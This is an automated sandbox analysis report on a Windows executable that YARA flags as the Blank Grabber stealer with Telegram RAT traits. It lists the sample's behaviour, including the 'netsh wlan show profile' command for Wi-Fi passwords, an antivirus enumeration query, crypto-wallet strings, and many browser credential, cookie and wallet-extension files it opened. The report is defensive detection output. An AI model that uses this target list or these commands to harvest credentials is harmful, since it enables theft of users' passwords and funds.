Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 0_2_00007FF6FB1EC330 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6FB1EC330

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Code function: 0_2_00007FF6FB20518C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF6FB20518C

Source: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe

Code function: 65_2_00007FF629B348CC GetModuleFileNameW,GetVersionExW,LoadLibraryW,LoadLibraryW,

65_2_00007FF629B348CC

Source: C:\Users\user\Desktop\e45AiBoV6X.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1986903181.000002290AFF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1720264732.000001F32EEE2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1984419770.000002290AFF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1982629773.000002290B711000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1720264732.000001F32EEE4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1983989604.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e45AiBoV6X.exe PID: 7380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e45AiBoV6X.exe PID: 7396, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI73802\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: e45AiBoV6X.exe PID: 7396, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxxz
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodusz
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: EthereumZ
Source: e45AiBoV6X.exe, 00000001.00000002.1987882294.000002290B4E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sers\user\AppData\Local\Coinomi\Coinomi\wallets
Source: e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystoreZ

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
